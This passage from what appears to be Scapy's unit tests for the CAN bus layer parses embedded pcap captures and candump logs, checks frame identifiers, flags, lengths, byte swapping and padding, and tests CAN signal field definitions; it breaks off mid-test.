BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\xe3\\x00\\x00\\x00\\xe2\\xf3mT\\x93\\x8c\\x03\\x00\\t\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x073\\x01\\x00\\x00\\x00\\x00\\xe2\\xf3mT\\xae\\x8c\\x03\\x00\\n\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x7f\\x00\\x00\\x81\\x00\\xe2\\xf3mTI\\x8f\\x03\\x00\\t\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x07B\\x01\\x00\\x00\\x00\\x00\\xe2\\xf3mTM\\x8f\\x03\\x00\\t\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x07c\\x01\\x00\\x00\\x00\\x00\\xe2\\xf3mTN\\x8f\\x03\\x00\\t\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x07!\\x01\\x00\\x00\\x00\\x00\\xf8\\xf3mTv\\x98\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x7f\\x00\\x00@\\x08\\x10\\x00\\x00\\x00\\x00\\x00\\xf8\\xf3mT\\x96\\x98\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x7f\\x00\\x00A\\x08\\x10\\x00\\x15\\x00\\x00\\x00\\xf8\\xf3mT\\xd4\\x98\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf8\\xf3mT\\x12\\x99\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x00\\x00\\x00\\x80\\x00\\x00\\x00!\\x00\\x00\\x08\\xf8\\xf3mTC\\x99\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x7f\\x00\\x00\\x00UltraHi\\xf8\\xf3mTx\\x99\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x00\\x00\\x00\\x80\\x00\\x00\\x00!\\x00\\x00\\x08\\xf8\\xf3mT\\xce\\x99\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x00\\x00\\x00p\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf8\\xf3mT\\xe0\\x99\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x00\\x00\\x00\\x80\\x00\\x00\\x00!\\x00\\x00\\x08\\xf8\\xf3mT \\x9a\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x00\\x00\\x00\\x80\\x00\\x00\\x00!\\x00\\x00\\x08\\xf8\\xf3mTo\\x9a\\x04\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x00\\x00\\x00\\x80\\x00\\x00\\x00!\\x00\\x00\\x083\\xf4mTw\\xbe\\t\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x7f\\x00\\x00@\\x08\\x10*\\x00\\x00\\x00\\x003\\xf4mT4\\xc0\\t\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x00\\x00\\x00\\x80\\x08\\x10*\\x11\\x00\\t\\x06i\\xf4mT\\xb0\\x88\\x0c\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x07\\xe5\\x08\\x7f\\x00\\x00L\\x00\\x00\\x00\\x00\\x00\\x00\\x00i\\xf4mT+\\x89\\x0c\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x07\\xe4\\x08\\x7f\\x00\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00i\\xf4mT-\\x89\\x0c\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x07\\xe4\\x08\\x7f\\x00\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00i\\xf4mTS\\x89\\x0c\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x07\\xe4\\x08\\x7f\\x00\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00i\\xf4mT\\x99\\x89\\x0c\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x07\\xe4\\x08\\x00\\x00\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8e\\xf4mT\\x86\\xc4\\x04\\x00\\n\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01B\\x92\\xf4mT\\xae\\xf0\\x07\\x00\\n\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\xba\\xf4mT%\\xaa\\x0b\\x00\\n\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02c\\xe8\\xf4mT\\xbc\\x0f\\x06\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x7f\\x00\\x00#\\x00b\\x01asdf\\xe8\\xf4mT\\x07\\x10\\x06\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x00\\x00\\x00\\x80\\x00b\\x01\\x00\\x00\\x02\\x06\\x0f\\xf5mT\\x1c\\x81\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x7f\\x00\\x00@\\x00b\\x01\\x00\\x00\\x00\\x00\\x0f\\xf5mT\\xfe\\x81\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x00\\x00\\x00\\x80\\x00b\\x01\\x00\\x00\\x02\\x068\\xf5mT\\x19\\xc3\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x7f\\x00\\x00\\xa0\\x08\\x10\\x00\\x10\\x00\\x00\\x008\\xf5mTg\\xc3\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x7f\\x00\\x00\\xc2\\x08\\x10\\x00\\x15\\x00\\x00\\x008\\xf5mT\\xd8\\xc3\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x00\\x00\\x00\\x80\\x00\\x00\\x00!\\x00\\x00\\x088\\xf5mT\\x17\\xc4\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x06B\\x08\\x7f\\x00\\x00\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x008\\xf5mT\\xca\\xc4\\x00\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x05\\xc2\\x08\\x00\\x00\\x00\\x80\\x00\\x00\\x00!\\x00\\x00\\x08')\npackets = rdpcap(pcap_fd)\n\n= Check if parsing worked: each packet has a CAN layer\n\nassert all(CAN in pkt for pkt in packets)\n\n= Check if parsing worked: no packet has a Raw or Padding layer\n\nnot any(Raw in pkt or Padding in pkt for pkt in packets)\n\n= Identifiers\n\nassert set(pkt.identifier for pkt in packets) == {0, 1474, 1602, 1825, 1843, 1858, 1891, 2020, 2021}\n\n= Flags\n\nassert set(pkt.flags for pkt in packets) == {0}\n\n= Data length\n\nset(pkt.length for pkt in packets) == {1, 2, 8}\n\n= read PCAP of a CookedLinux/SocketCAN capture with CANFD frames\n\nconf.contribs['CAN']['swap-bytes'] = True\n\npackets = rdpcap(scapy_path(\"/test/pcaps/canfd.pcap.gz\"))\n\n= Check if parsing worked: each packet has a CANFD layer\n\nassert all(CANFD in pkt[1] for pkt in packets)\n\nassert all(pkt.identifier == 0x123 for pkt in packets)\nassert len(packets) == 4\n\n\n############\n############\n\n+ swap-bytes and remove-padding functionality (for PF_CAN socket interactions)\n\n= read PCAP of a CookedLinux/SocketCAN capture (CAN standard and extended)\n\nconf.contribs['CAN']['swap-bytes'] = True\nconf.contribs['CAN']['remove-padding'] = False\npcap_fd_can_a = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00q\\x00\\x00\\x00\\x15f`Zv\\xde\\n\\x00 \\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x01\\x01\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\xdf\\x07\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x01\\r\\x00\\x00\\x00\\x00\\x00')\npackets_can_a = rdpcap(pcap_fd_can_a)\npcap_fd_can_b = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00q\\x00\\x00\\x00\\xf4i`Z\\xf3\\x99\\x07\\x00 \\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x01\\x01\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\xf13\\xdb\\x98\\x03\\x00\\x00\\x00\\x02\\x01\\r\\x00\\x00\\x00\\x00\\x00')\npackets_can_b = rdpcap(pcap_fd_can_b)\n\n= check CAN is detected over CookedLinux (each packet has both layers)\n\nall(CAN in pkt for pkt in packets_can_a)\nall(CAN in pkt for pkt in packets_can_b)\nall(CookedLinux in pkt for pkt in packets_can_a)\nall(CookedLinux in pkt for pkt in packets_can_b)\n\n= Check if parsing worked: no packet has a Raw or Padding layer\n\nnot any(Raw in pkt or Padding in pkt for pkt in packets)\n\n= Check byte swap for dissection\n\npackets_can_a[0].identifier == 0x7df\npackets_can_a[0].flags == 0x0\npackets_can_b[0].identifier == 0x18db33f1\npackets_can_b[0].flags == \"extended\"\n\n= Check byte swap-back for building\n\nraw(packets_can_a[0]) == b'\\x00\\x01\\x01\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\xdf\\x07\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x01\\r\\x00\\x00\\x00\\x00\\x00'\nraw(packets_can_b[0]) == b'\\x00\\x01\\x01\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\xf13\\xdb\\x98\\x03\\x00\\x00\\x00\\x02\\x01\\r\\x00\\x00\\x00\\x00\\x00'\n\nconf.contribs['CAN']['swap-bytes'] = False\n\n= Check building CAN packet with not padded data field\n* check building\np = CAN(flags='error', identifier=1234, data=b'')\nbytes(p)\np = CAN(flags='error', identifier=1234, data=b'\\x0a\\x0b')\nbytes(p)\n\n* check padding handling\np_too_much_data = CAN(flags='error', length=1, identifier=1234, data=b'\\x01\\x02')\np = CAN(bytes(p_too_much_data))\np.haslayer('Padding') and p['Padding'].load == b'\\x02'\n\n+ rdcandump\n\n= Check rdcandump default\n* default reading\n\nconf.contribs['CAN']['remove-padding'] = True\n\npcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344\n                    (1539191470.820239) vcan0 123#11223344\n                    (1539191471.503168) vcan0 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan0 1F334455#1122334455667788\n                    (1539191494.084177) vcan0 1F334455#1122334455667788\n                    (1539191494.724228) vcan0 1F334455#1122334455667788\n                    (1539191495.148182) vcan0 1F334455#1122334455667788\n                    (1539191495.563320) vcan0 1F334455#1122334455667788\n                    (1539191470.820239) vcan0 123##1112233445566778899aabbccddeeff\n                    (1539191495.563320) vcan0 1F334455##1112233445566778899aabbccddeeff''')\npackets = rdcandump(pcap_fd)\nassert len(packets) == 11\nassert packets[0].identifier == 0x123\nassert packets[8].identifier == 0x1F334455\nassert packets[8].flags == 0b100\nassert packets[0].length == 4\nassert packets[8].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44'\nassert packets[8].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[9].identifier == 0x123\nassert packets[10].identifier == 0x1F334455\nassert packets[9].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff'\nassert packets[10].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff'\n\n= Check rdcandump_iterable default\n* default reading\npcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344\n                    (1539191470.820239) vcan0 123#11223344\n                    (1539191471.503168) vcan0 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan0 1F334455#1122334455667788\n                    (1539191494.084177) vcan0 1F334455#1122334455667788\n                    (1539191494.724228) vcan0 1F334455#1122334455667788\n                    (1539191495.148182) vcan0 1F334455#1122334455667788\n                    (1539191495.563320) vcan0 1F334455#1122334455667788\n                    (1539191470.820239) vcan0 123##1112233445566778899aabbccddeeff\n                    (1539191495.563320) vcan0 1F334455##1112233445566778899aabbccddeeff''')\npackets = [x for x in CandumpReader(pcap_fd)]\nassert len(packets) == 11\nassert packets[0].identifier == 0x123\nassert packets[8].identifier == 0x1F334455\nassert packets[8].flags == 0b100\nassert packets[0].length == 4\nassert packets[8].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44'\nassert packets[8].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[9].identifier == 0x123\nassert packets[10].identifier == 0x1F334455\nassert packets[9].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff'\nassert packets[10].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff'\n\n= Check rdcandump filter\n* interface filter 1\npcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344\n                    (1539191470.820239) vcan1 123#11223344\n                    (1539191471.503168) vcan1 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan0 1F334455#1122334455667788\n                    (1539191494.084177) vcan1 1F334455#1122334455667788\n                    (1539191494.724228) vcan1 1F334455#1122334455667788\n                    (1539191495.148182) vcan0 1F334455#1122334455667788\n                    (1539191495.563320) vcan1 1F334455#1122334455667788''')\npackets = rdcandump(pcap_fd, interface=\"vcan0\")\nassert len(packets) == 4\nassert packets[0].identifier == 0x123\nassert packets[-1].identifier == 0x1F334455\nassert packets[-1].flags == 0b100\nassert packets[0].length == 4\nassert packets[-1].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44'\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n* interface filter 2\npcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344\n                    (1539191470.820239) vcan0 123#11223344\n                    (1539191471.503168) vcan0 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan1 1F334455#1122334455667788\n                    (1539191494.084177) vcan1 1F334455#1122334455667788\n                    (1539191494.724228) vcan1 1F334455#1122334455667788\n                    (1539191495.148182) vcan1 1F334455#1122334455667788\n                    (1539191495.563320) vcan1 1F334455#1122334455667788''')\npackets = rdcandump(pcap_fd, interface=\"vcan0\")\nassert len(packets) == 4\nassert packets[0].identifier == 0x123\nassert packets[0].length == 4\nassert packets[0].data == b'\\x11\\x22\\x33\\x44'\n\n* interface filter 3\npcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344\n                    (1539191470.820239) vcan0 123#11223344\n                    (1539191471.503168) vcan0 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan1 1F334455#1122334455667788\n                    (1539191494.084177) vcan1 1F334455#1122334455667788\n                    (1539191494.724228) vcan1 1F334455#1122334455667788\n                    (1539191495.148182) vcan1 1F334455#1122334455667788\n                    (1539191495.563320) vcan1 1F334455#1122334455667788''')\npackets = rdcandump(pcap_fd, interface=\"vcan1\")\nassert len(packets) == 5\nassert packets[-1].identifier == 0x1F334455\nassert packets[-1].flags == 0b100\nassert packets[-1].length == 8\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n* interface filter 4\npcap_fd = BytesIO(b'''(1539191392.761779) vcan2 123#11223344\n                    (1539191470.820239) vcan0 123#11223344\n                    (1539191471.503168) vcan2 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan1 1F334455#1122334455667788\n                    (1539191494.084177) vcan1 1F334455#1122334455667788\n                    (1539191494.724228) vcan2 1F334455#1122334455667788\n                    (1539191495.148182) vcan1 1F334455#1122334455667788\n                    (1539191495.563320) vcan2 1F334455#1122334455667788''')\npackets = rdcandump(pcap_fd, interface=[\"vcan1\", \"vcan0\"])\nassert len(packets) == 5\nassert packets[0].identifier == 0x123\nassert packets[-1].identifier == 0x1F334455\nassert packets[-1].flags == 0b100\nassert packets[0].length == 4\nassert packets[-1].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44'\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n+ Check rdcandump not log file format\n= interface not log file format\npcap_fd = BytesIO(b'''  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan0  1F334455   [4]  11 22 33 44\n  vcan0       1F3   [4]  11 22 33 44\n  vcan0  1F334455  [09]  11 22 33 44 55 66 77 88 99\n  vcan0       1F3  [09]  11 22 33 44 55 66 77 88 99\n  ''')\npackets = rdcandump(pcap_fd)\nassert len(packets) == 10\npackets[-1].show()\nassert packets[-3].identifier == 0x1F3\nassert packets[1].identifier == 0x1F3\nassert packets[0].identifier == 0x1F334455\nassert packets[0].flags == 0b100\nassert packets[-3].length == 4\nassert packets[0].length == 8\nassert packets[1].length == 8\nassert packets[-1].length == 9\nassert packets[8].length == 9\nassert packets[-3].data == b'\\x11\\x22\\x33\\x44'\nassert packets[0].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[8].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99'\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99'\n\n= interface not log file format filtered 1\npcap_fd = BytesIO(b'''  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan1       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan1       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan1  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan1  1F334455   [4]  11 22 33 44\n  vcan0       1F3   [4]  11 22 33 44\n  vcan0  1F334455  [09]  11 22 33 44 55 66 77 88 99\n  vcan1       1F3  [09]  11 22 33 44 55 66 77 88 99\n''')\npackets = rdcandump(pcap_fd, interface=\"vcan0\")\nassert len(packets) == 5\nassert packets[-2].identifier == 0x1F3\nassert packets[2].identifier == 0x1F3\nassert packets[0].identifier == 0x1F334455\nassert packets[-1].identifier == 0x1F334455\nassert packets[0].flags == 0b100\nassert packets[-2].length == 4\nassert packets[0].length == 8\nassert packets[2].length == 8\nassert packets[-1].length == 9\nassert packets[-2].data == b'\\x11\\x22\\x33\\x44'\nassert packets[0].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[2].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99'\n\n\n= interface not log file format filtered 2\npcap_fd = BytesIO(b'''  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan1       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan2       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan1  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan2  1F334455   [4]  11 22 33 44\n  vcan0       1F3   [4]  11 22 33 44\n''')\npackets = rdcandump(pcap_fd, interface=[\"vcan0\", \"vcan1\"])\nassert len(packets) == 6\nassert packets[-1].identifier == 0x1F3\nassert packets[1].identifier == 0x1F3\nassert packets[0].identifier == 0x1F334455\nassert packets[0].flags == 0b100\nassert packets[-1].length == 4\nassert packets[0].length == 8\nassert packets[1].length == 8\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44'\nassert packets[0].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n+ Check rdcandump count\n= interface not log file format filtered 2 count 1\npcap_fd = BytesIO(b'''  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan1       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan2       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan2  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan2  1F334455   [4]  11 22 33 44\n  vcan0       1F3   [4]  11 22 33 44\n''')\npackets = rdcandump(pcap_fd, interface=[\"vcan2\"],\n                    count=2)\nassert len(packets) == 2\nassert packets[0].identifier == 0x1F3\nassert packets[-1].identifier == 0x1F334455\nassert packets[-1].flags == 0b100\nassert packets[-1].length == 8\nassert packets[0].length == 8\nassert packets[1].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n= interface not log file format filtered 2 count 2\npcap_fd = BytesIO(b'''  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan1       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan2       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan2  1F334455   [8]  11 22 33 44 55 66 77 88\n  vcan2  1F334455   [4]  11 22 33 44\n  vcan0       1F3   [4]  11 22 33 44\n''')\npackets = rdcandump(pcap_fd, count=2)\nassert len(packets) == 2\nassert packets[1].identifier == 0x1F3\nassert packets[0].identifier == 0x1F334455\nassert packets[0].flags == 0b100\nassert packets[-1].length == 8\nassert packets[0].length == 8\nassert packets[1].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n= default reading\npcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344\n                    (1539191470.820239) vcan0 123#11223344\n                    (1539191471.503168) vcan0 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan0 1F334455#1122334455667788\n                    (1539191494.084177) vcan0 1F334455#1122334455667788\n                    (1539191494.724228) vcan0 1F334455#1122334455667788\n                    (1539191495.148182) vcan0 1F334455#1122334455667788\n                    (1539191495.563320) vcan0 1F334455#1122334455667788''')\npackets = rdcandump(pcap_fd, count=5)\nassert len(packets) == 5\nassert packets[0].identifier == 0x123\nassert packets[-1].identifier == 0x1F334455\nassert packets[-1].flags == 0b100\nassert packets[0].length == 4\nassert packets[-1].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44'\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n+ Check rdcandump default extended frames id < 0x7ff\n= default reading\npcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344\n                    (1539191470.820239) vcan0 123#11223344\n                    (1539191471.503168) vcan0 123#11223344\n                    (1539191471.891423) vcan0 123#11223344\n                    (1539191492.026403) vcan0 00000055#1122334455667788\n                    (1539191494.084177) vcan0 00000055#1122334455667788\n                    (1539191494.724228) vcan0 00000055#1122334455667788\n                    (1539191495.148182) vcan0 00000055#1122334455667788\n                    (1539191495.563320) vcan0 00000055#1122334455667788\n                    (1539191494.724228) vcan0 00000055##1112233445566778899''')\npackets = rdcandump(pcap_fd)\nassert len(packets) == 10\nassert packets[0].identifier == 0x123\nassert packets[8].identifier == 0x55\nassert packets[8].flags == 0b100\nassert packets[0].length == 4\nassert packets[8].length == 8\nassert packets[0].data == b'\\x11\\x22\\x33\\x44'\nassert packets[8].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[8].identifier == 0x55\nassert packets[8].flags == 0b100\nassert packets[9].length == 9\nassert packets[9].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99'\n\n\n= interface not log file format\npcap_fd = BytesIO(b'''  vcan0  00000055   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  00000055   [8]  11 22 33 44 55 66 77 88\n  vcan0       1F3   [8]  11 22 33 44 55 66 77 88\n  vcan0  00000055   [8]  11 22 33 44 55 66 77 88\n  vcan0  00000055   [4]  11 22 33 44\n  vcan0       1F3   [4]  11 22 33 44''')\npackets = rdcandump(pcap_fd)\nassert len(packets) == 8\npackets[-1].show()\nassert packets[-1].identifier == 0x1F3\nassert packets[1].identifier == 0x1F3\nassert packets[0].identifier == 0x55\nassert packets[0].flags == 0b100\nassert packets[-1].length == 4\nassert packets[0].length == 8\nassert packets[1].length == 8\nassert packets[-1].data == b'\\x11\\x22\\x33\\x44'\nassert packets[0].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\nassert packets[1].data == b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n\n\n########\n########\n+ CAN Signals\n\n= Test invalid fields_desc\n\nclass testFrame1(SignalPacket):\n    fields_desc = [\n        ByteField(\"sig0\", 0),\n        SignalField(\"sig1\", default=0, start=7, size=6, fmt=\">B\")\n    ]\n\npassed = False\n\ntry:\n    testFrame1(b\"\\xff\\xff\")\nexcept Scapy_Exception:\n    passed = True\n\nassert passed\n\n= Test invalid fields_desc with ConditionalField\n\nclass testFrame1(SignalPacket):\n    fields_desc = [\n        ConditionalField(ByteField(\"sig0\", 0), lambda x: True),\n        SignalField(\"sig1\", default=0, start=7, size=6, fmt=\">B\")\n    ]\n\npassed = False\ntry:\n    testFrame1(b\"\\xff\\xff\")\nexcept Scapy_Exception:\n    passed = True\n\nassert passed\n\n= Motorola byte order (Big Endian) dissect test\n\nclass testFrame1(SignalPacket):\n    fields_desc = [\n        SignalField(\"sig0\", default=0, start=1, size=2, fmt=\">B\"),\n        SignalField(\"sig1\", default=0, start=7, size=6, fmt=\">B\"),\n        SignalField(\"sig2\", default=0, start=15, size=11, fmt=\">B\"),\n        SignalField(\"sig3\", default=0, start=20, size=12, fmt=\">B\"),\n        SignalField(\"sig4\", default=0, start=24, size=9, fmt=\">B\"),\n        SignalField(\"sig7\", default=0, start=47, size=10, fmt=\">B\"),\n        SignalField(\"sig5\", default=0, start=50, size=3, fmt=\">B\"),\n        SignalField(\"sig6\", default=0, start=53, size=3, fmt=\">B\"),\n        SignalField(\"sig8\", default=0, start=58, size=3, fmt=\">B\"),\n        SignalField(\"sig9\", default=0, start=61, size=3, fmt=\">B\"),\n        SignalField(\"sig10\", default=0, start=63, size=2, fmt=\">B\")\n    ]\n\npkt = testFrame1(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff')\nassert pkt.sig0 == 3\nassert pkt.sig1 == 0x3f\nassert pkt.sig2 == 0x7ff\nassert pkt.sig3 == 0xfff\nassert pkt.sig4 == 0x1ff\nassert pkt.sig7 == 0x3ff\nassert pkt.sig5 == 7\nassert pkt.sig6 == 7\nassert pkt.sig8 == 7\nassert pkt.sig9 == 7\nassert pkt.sig10 == 3\n\n\npkt = testFrame1(struct.pack(\"<Q\", int(\"10010101\" # byte 7: 63 - 56\n                                       \"11010101\" \n                                       \"10000000\" \n                                       \"00000001\" \n                                       \"11111110\"\n                                       \"11100000\"\n                                       \"00000001\"\n                                       \"01010101\",2))) # byte 0: 7 - 0\nassert pkt.sig0 == 